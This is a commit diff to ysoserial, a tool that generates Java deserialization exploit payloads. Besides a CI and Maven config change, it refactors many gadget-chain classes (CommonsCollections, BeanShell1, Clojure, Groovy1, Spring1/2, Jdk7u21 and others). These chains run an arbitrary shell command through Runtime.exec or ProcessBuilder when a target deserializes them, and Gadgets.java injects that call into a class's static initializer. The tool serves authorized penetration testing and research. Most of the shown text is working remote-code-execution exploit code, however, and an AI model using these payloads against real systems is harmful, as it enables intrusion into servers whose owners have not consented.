fix M2_HOME

appveyor.yml

@@ -1,4 +1,5 @@
 # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
+#          and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
 
 # build version
 version: '{build}'
@@ -12,16 +13,31 @@ environment:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
     - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9
 
 matrix:
   allow_failures:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9    
 
-# install required tools (maven, secure-file, encrypted files)
+# install jdk6 compatible maven
 install:
+  - ps: |
+      Add-Type -AssemblyName System.IO.Compression.FileSystem
+      if (!(Test-Path -Path "C:\maven" )) {
+        (new-object System.Net.WebClient).DownloadFile(
+          'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
+          'C:\maven-bin.zip'
+        )
+        [System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
+      }
+  - cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
+  - cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
+  - cmd: echo %PATH%
   - cmd: echo %JAVA_HOME%
   - cmd: echo %M2_HOME%
+  - cmd: mvn -v
 
 # build and install artifacts
 build_script:
@@ -33,4 +49,5 @@ test_script:
 
 # preserve dependencies between builds
 cache:
+  - C:\maven
   - C:\Users\appveyor\.m2

pom.xml

@@ -58,10 +58,9 @@
 		        <artifactId>maven-surefire-plugin</artifactId>
                 <version>2.20</version>
 		        <configuration>
-                    <rerunFailingTestsCount>2</rerunFailingTestsCount> <!-- for flaky Wicket1 test -->
 			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
-			        	    <java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
+			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
 			        </systemPropertyVariables>
 		        </configuration>
 		    </plugin>

src/main/java/ysoserial/GeneratePayload.java

@@ -3,7 +3,6 @@ package ysoserial;
 import java.io.PrintStream;
 import java.util.*;
 
-import ysoserial.payloads.ExtendedObjectPayload;
 import ysoserial.payloads.ObjectPayload;
 import ysoserial.payloads.ObjectPayload.Utils;
 import ysoserial.payloads.annotation.Authors;
@@ -15,12 +14,12 @@ public class GeneratePayload {
 	private static final int USAGE_CODE = 64;
 
 	public static void main(final String[] args) {
-		if (args.length < 2) {
+		if (args.length != 2) {
 			printUsage();
 			System.exit(USAGE_CODE);
 		}
 		final String payloadType = args[0];
-		final String[] command = Arrays.copyOfRange(args, 1, args.length);
+		final String command = args[1];
 
 		final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
 		if (payloadClass == null) {
@@ -32,18 +31,7 @@ public class GeneratePayload {
 
 		try {
 			final ObjectPayload payload = payloadClass.newInstance();
-			final Object object;
+			final Object object = payload.getObject(command);
-			if (payload instanceof ExtendedObjectPayload) {
-				ExtendedObjectPayload extended_payload = (ExtendedObjectPayload) payload;
-				object = extended_payload.getObject(command);
-			}
-			else {
-				if (command.length > 1) {
-					System.err.println("The payload '" + payloadType + "' does not support arguments");
-				}
-				object = payload.getObject(command[0]);
-			}
-			
 			PrintStream out = System.out;
 			Serializer.serialize(object, out);
 			ObjectPayload.Utils.releasePayload(payload, object);
@@ -57,7 +45,7 @@ public class GeneratePayload {
 
 	private static void printUsage() {
 		System.err.println("Y SO SERIAL?");
-		System.err.println("Usage: java -jar ysoserial-[version]-all.jar payload  [arguments ...]");
+		System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
 		System.err.println("  Available payload types:");
 
 		final List<Class<? extends ObjectPayload>> payloadClasses =

src/main/java/ysoserial/Strings.java

@@ -1,5 +1,7 @@
 package ysoserial;
 
+import org.apache.commons.lang.StringUtils;
+
 import java.util.Arrays;
 import java.util.Comparator;
 import java.util.LinkedList;
@@ -19,10 +21,6 @@ public class Strings {
         return sb.toString();
     }
 
-	public static String join(Iterable<String> strings, String sep) {
-		return Strings.join(strings, sep, null, null);
-	}
-
     public static String repeat(String str, int num) {
         final String[] strs = new String[num];
         Arrays.fill(strs, str);
@@ -50,19 +48,6 @@ public class Strings {
         }
         return lines;
     }
-    
-    public static String escapeJavaString(String str) {
-        return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 
-    }
-    
-    public static String[] escapeJavaStrings(String[] strs) {
-        String[] res = new String[strs.length];
-        for (int i = 0; i < res.length; i++) {
-            res[i] = escapeJavaString(strs[i]);
-        }
-        return res;     
-    }
-    
 
     public static class ToStringComparator implements Comparator<Object> {
         public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -7,7 +7,6 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Arrays;
 import java.util.Comparator;
-import java.util.List;
 import java.util.PriorityQueue;
 
 import ysoserial.Strings;
@@ -23,41 +22,41 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.beanshell:bsh:2.0b5" })
 @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
-public class BeanShell1 extends ExtendedObjectPayload<PriorityQueue> {
+public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
+
+    public PriorityQueue getObject(String command) throws Exception {
+	// BeanShell payload
 
-    public PriorityQueue getObject(String[] command) throws Exception {
-    	// BeanShell payload
-    
         String payload =
             "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                 Strings.join( // does not support spaces in quotes
-                    Arrays.asList(Strings.escapeJavaStrings(command)),
+                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                     ",", "\"", "\"") +
                 "}).start();return new Integer(1);}";
-    
+
-        	// Create Interpreter
+	// Create Interpreter
-        	Interpreter i = new Interpreter();
+	Interpreter i = new Interpreter();
-        
+
-        	// Evaluate payload
+	// Evaluate payload
-        	i.eval(payload);
+	i.eval(payload);
-        
+
-        	// Create InvocationHandler
+	// Create InvocationHandler
-        	XThis xt = new XThis(i.getNameSpace(), i);
+	XThis xt = new XThis(i.getNameSpace(), i);
-        	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
+	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
-        
+
-        	// Create Comparator Proxy
+	// Create Comparator Proxy
-        	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
+	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
-        
+
-        	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
+	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
-        	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
+	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
-        	Object[] queue = new Object[] {1,1};
+	Object[] queue = new Object[] {1,1};
-        	Reflections.setFieldValue(priorityQueue, "queue", queue);
+	Reflections.setFieldValue(priorityQueue, "queue", queue);
-        	Reflections.setFieldValue(priorityQueue, "size", 2);
+	Reflections.setFieldValue(priorityQueue, "size", 2);
-        
+
-        	return priorityQueue;
+	return priorityQueue;
     }
 
     public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(BeanShell1.class, args);
+	PayloadRunner.run(BeanShell1.class, args);
     }
 }

src/main/java/ysoserial/payloads/Clojure.java

@@ -26,11 +26,23 @@ import java.util.Map;
  */
 @Dependencies({"org.clojure:clojure:1.8.0"})
 @Authors({ Authors.JACKOFMOSTTRADES })
-public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
+public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
 
-	public Map<?, ?> getObject(final String[] command) throws Exception {
+	public Map<?, ?> getObject(final String command) throws Exception {
 
-        String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\"");
+//		final String[] execArgs = command.split(" ");
+//		final StringBuilder commandArgs = new StringBuilder();
+//		for (String arg : execArgs) {
+//			commandArgs.append("\" \"");
+//			commandArgs.append(arg);
+//		}
+//		commandArgs.append("\"");
+
+
+//		final String clojurePayload =
+//				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
+
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
 
         final String clojurePayload =
             String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
@@ -58,4 +70,5 @@ public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(Clojure.class, args);
 	}
+
 }

src/main/java/ysoserial/payloads/CommonsBeanutils1.java

@@ -14,9 +14,9 @@ import ysoserial.payloads.util.Reflections;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
 @Authors({ Authors.FROHOFF })
-public class CommonsBeanutils1 extends ExtendedObjectPayload<Object> {
+public class CommonsBeanutils1 implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final BeanComparator comparator = new BeanComparator("lowestSetBit");

src/main/java/ysoserial/payloads/CommonsCollections1.java

@@ -1,6 +1,5 @@
 package ysoserial.payloads;
 
-import java.io.Serializable;
 import java.lang.reflect.InvocationHandler;
 import java.util.HashMap;
 import java.util.Map;
@@ -45,9 +44,10 @@ import ysoserial.payloads.util.Reflections;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler> {
+public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 
-	public InvocationHandler getObject(final String[] command) throws Exception {
+	public InvocationHandler getObject(final String command) throws Exception {
+		final String[] execArgs = new String[] { command };
 		// inert chain for setup
 		final Transformer transformerChain = new ChainedTransformer(
 			new Transformer[]{ new ConstantTransformer(1) });
@@ -61,7 +61,7 @@ public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler
 					Object.class, Object[].class }, new Object[] {
 					null, new Object[0] }),
 				new InvokerTransformer("exec",
-					new Class[] { String[].class }, new Object[] { command }),
+					new Class[] { String.class }, execArgs),
 				new ConstantTransformer(1) };
 
 		final Map innerMap = new HashMap();

src/main/java/ysoserial/payloads/CommonsCollections2.java

@@ -27,9 +27,9 @@ import ysoserial.payloads.util.Reflections;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.apache.commons:commons-collections4:4.0" })
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections2 extends ExtendedObjectPayload<Queue<Object>> {
+public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
 
-	public Queue<Object> getObject(final String[] command) throws Exception {
+	public Queue<Object> getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

src/main/java/ysoserial/payloads/CommonsCollections3.java

@@ -30,9 +30,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections3 extends ExtendedObjectPayload<Object> {
+public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		Object templatesImpl = Gadgets.createTemplatesImpl(command);
 
 		// inert chain for setup

src/main/java/ysoserial/payloads/CommonsCollections4.java

@@ -26,9 +26,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections4 extends ExtendedObjectPayload<Queue<Object>> {
+public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
 
-	public Queue<Object> getObject(final String[] command) throws Exception {
+	public Queue<Object> getObject(final String command) throws Exception {
 		Object templates = Gadgets.createTemplatesImpl(command);
 
 		ConstantTransformer constant = new ConstantTransformer(String.class);

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -54,9 +54,10 @@ https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4e
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
-public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
+public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
 
-	public BadAttributeValueExpException getObject(final String[] command) throws Exception {
+	public BadAttributeValueExpException getObject(final String command) throws Exception {
+		final String[] execArgs = new String[] { command };
 		// inert chain for setup
 		final Transformer transformerChain = new ChainedTransformer(
 		        new Transformer[]{ new ConstantTransformer(1) });
@@ -70,7 +71,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValue
 					Object.class, Object[].class }, new Object[] {
 					null, new Object[0] }),
 				new InvokerTransformer("exec",
-					new Class[] { String[].class }, new Object[] { command }),
+					new Class[] { String.class }, execArgs),
 				new ConstantTransformer(1) };
 
 		final Map innerMap = new HashMap();

src/main/java/ysoserial/payloads/CommonsCollections6.java

@@ -35,9 +35,12 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.MATTHIASKAISER })
-public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
+public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+
+        final String[] execArgs = new String[] { command };
 
-    public Serializable getObject(final String[] command) throws Exception {
         final Transformer[] transformers = new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] {
@@ -47,7 +50,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
                         Object.class, Object[].class }, new Object[] {
                         null, new Object[0] }),
                 new InvokerTransformer("exec",
-                        new Class[] { String[].class }, new Object[] { command }),
+                        new Class[] { String.class }, execArgs),
                 new ConstantTransformer(1) };
 
         Transformer transformerChain = new ChainedTransformer(transformers);

src/main/java/ysoserial/payloads/ExtendedObjectPayload.java

@@ -1,24 +0,0 @@
-package ysoserial.payloads;
-
-import java.util.LinkedList;
-import java.util.List;
-import java.util.StringTokenizer;
-
-public abstract class ExtendedObjectPayload<T> implements ObjectPayload<T> {
-	abstract public T getObject(String[] command) throws Exception;
-	
-	/**
-	 * Method to keep backward compatibility with ObjectPayload
-	 * using StringTokenizer used in java.lang.Runtime.exec(String)
-	 */
-	@Override
-	public T getObject(String command) throws Exception {
-		final StringTokenizer tokenizer = new StringTokenizer(command);
-		final List<String> commandTokenized = new LinkedList<String>();
-		while (tokenizer.hasMoreTokens()) {
-			commandTokenized.add(tokenizer.nextToken());
-		}
-		final String[] commandTokenizedArray= commandTokenized.toArray(new String[0]);
-		return this.getObject(commandTokenizedArray);
-	}
-}

src/main/java/ysoserial/payloads/Groovy1.java

@@ -29,9 +29,9 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
 @Authors({ Authors.FROHOFF })
-public class Groovy1 extends ExtendedObjectPayload<InvocationHandler> {
+public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 
-	public InvocationHandler getObject(final String[] command) throws Exception {
+	public InvocationHandler getObject(final String command) throws Exception {
 		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
 
 		final Map map = Gadgets.createProxy(closure, Map.class);

src/main/java/ysoserial/payloads/Hibernate1.java

@@ -37,7 +37,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  */
 @Authors({ Authors.MBECHLER })
-public class Hibernate1 extends ExtendedObjectPayload<Object> implements DynamicDependencies {
+public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
 
     public static String[] getDependencies () {
         if ( System.getProperty("hibernate5") != null ) {
@@ -96,7 +96,7 @@ public class Hibernate1 extends ExtendedObjectPayload<Object> implements Dynamic
     }
 
 
-    public Object getObject ( String[] command ) throws Exception {
+    public Object getObject ( String command ) throws Exception {
         Object tpl = Gadgets.createTemplatesImpl(command);
         Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
         return makeCaller(tpl, getters);

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -30,9 +30,9 @@ import java.util.*;
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
-public class JBossInterceptors1 extends ExtendedObjectPayload<Object> {
+public class JBossInterceptors1 implements ObjectPayload<Object> {
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         final Object gadget = Gadgets.createTemplatesImpl(command);
 

src/main/java/ysoserial/payloads/JSON1.java

@@ -66,9 +66,9 @@ import net.sf.json.JSONObject;
     "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
     "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
 @Authors({ Authors.MBECHLER })
-public class JSON1 extends ExtendedObjectPayload<Object> {
+public class JSON1 implements ObjectPayload<Object> {
 
-    public Map getObject ( String[] command ) throws Exception {
+    public Map getObject ( String command ) throws Exception {
         return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
     }
 

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -30,9 +30,9 @@ import java.util.*;
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
-public class JavassistWeld1 extends ExtendedObjectPayload<Object> {
+public class JavassistWeld1 implements ObjectPayload<Object> {
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         final Object gadget = Gadgets.createTemplatesImpl(command);
 

src/main/java/ysoserial/payloads/Jdk7u21.java

@@ -57,9 +57,9 @@ LinkedHashSet.readObject()
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies()
 @Authors({ Authors.FROHOFF })
-public class Jdk7u21 extends ExtendedObjectPayload<Object> {
+public class Jdk7u21 implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 
 		String zeroHashCodeStr = "f5a5a608";

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -21,9 +21,9 @@ import java.lang.reflect.Method;
 @PayloadTest( precondition = "isApplicableJavaVersion")
 @Dependencies({"rhino:js:1.7R2"})
 @Authors({ Authors.MATTHIASKAISER })
-public class MozillaRhino1 extends ExtendedObjectPayload<Object> {
+public class MozillaRhino1 implements ObjectPayload<Object> {
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
         Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();

src/main/java/ysoserial/payloads/ROME.java

@@ -30,9 +30,9 @@ import ysoserial.payloads.util.PayloadRunner;
  */
 @Dependencies("rome:rome:1.0")
 @Authors({ Authors.MBECHLER })
-public class ROME extends ExtendedObjectPayload<Object> {
+public class ROME implements ObjectPayload<Object> {
 
-    public Object getObject ( String[] command ) throws Exception {
+    public Object getObject ( String command ) throws Exception {
         Object o = Gadgets.createTemplatesImpl(command);
         ObjectBean delegate = new ObjectBean(Templates.class, o);
         ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

src/main/java/ysoserial/payloads/Spring1.java

@@ -51,9 +51,9 @@ import ysoserial.payloads.util.Reflections;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
 @Authors({ Authors.FROHOFF })
-public class Spring1 extends ExtendedObjectPayload<Object> {
+public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 
 		final ObjectFactory objectFactoryProxy =

src/main/java/ysoserial/payloads/Spring2.java

@@ -43,9 +43,9 @@ import ysoserial.payloads.util.Reflections;
     "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
 } )
 @Authors({ Authors.MBECHLER })
-public class Spring2 extends ExtendedObjectPayload<Object> {
+public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
 
-    public Object getObject ( final String[] command ) throws Exception {
+    public Object getObject ( final String command ) throws Exception {
         final Object templates = Gadgets.createTemplatesImpl(command);
 
         AdvisedSupport as = new AdvisedSupport();

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -9,16 +9,12 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Proxy;
-import java.util.Arrays;
 import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
 import java.util.Map;
 
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.Strings;
 
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -93,7 +89,7 @@ public class Gadgets {
     }
 
 
-    public static Object createTemplatesImpl ( final String command[] ) throws Exception {
+    public static Object createTemplatesImpl ( final String command ) throws Exception {
         if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
             return createTemplatesImpl(
                 command,
@@ -106,7 +102,7 @@ public class Gadgets {
     }
 
 
-    public static <T> T createTemplatesImpl ( final String command[], Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
             throws Exception {
         final T templates = tplClass.newInstance();
 
@@ -117,10 +113,9 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + 
+        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-                Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") + 
+            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
-                "});";
+            "\");";
-
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -1,6 +1,5 @@
 package ysoserial.payloads.util;
 
-import java.io.File;
 import java.util.concurrent.Callable;
 
 import ysoserial.Deserializer;
@@ -53,12 +52,12 @@ public class PayloadRunner {
     }
 
     private static String getFirstExistingFile(String ... files) {
-//        return "calc.exe";
+        return "calc.exe";
-        for (String path : files) {
+//        for (String path : files) {
-            if (new File(path).exists()) {
+//            if (new File(path).exists()) {
-                return path;
+//                return path;
-            }
+//            }
-        }
+//        }
-        throw new UnsupportedOperationException("no known test executable");
+//        throw new UnsupportedOperationException("no known test executable");
     }
 }

src/test/java/ysoserial/payloads/TestHarnessTest.java

@@ -38,8 +38,8 @@ public class TestHarnessTest {
 		PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
 	}
 
-	public static class ExecMockPayload extends ExtendedObjectPayload<ExecMockSerializable> {
+	public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
-		public ExecMockSerializable getObject(String[] command) throws Exception {
+		public ExecMockSerializable getObject(String command) throws Exception {
 			return new ExecMockSerializable(command);
 		}
 	}
@@ -52,8 +52,8 @@ public class TestHarnessTest {
 
 	@SuppressWarnings("serial")
 	public static class ExecMockSerializable implements Serializable {
-		private final String[] cmd;
+		private final String cmd;
-		public ExecMockSerializable(String[] cmd) { this.cmd = cmd; }
+		public ExecMockSerializable(String cmd) { this.cmd = cmd; }
 
 		private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
 		    ois.defaultReadObject();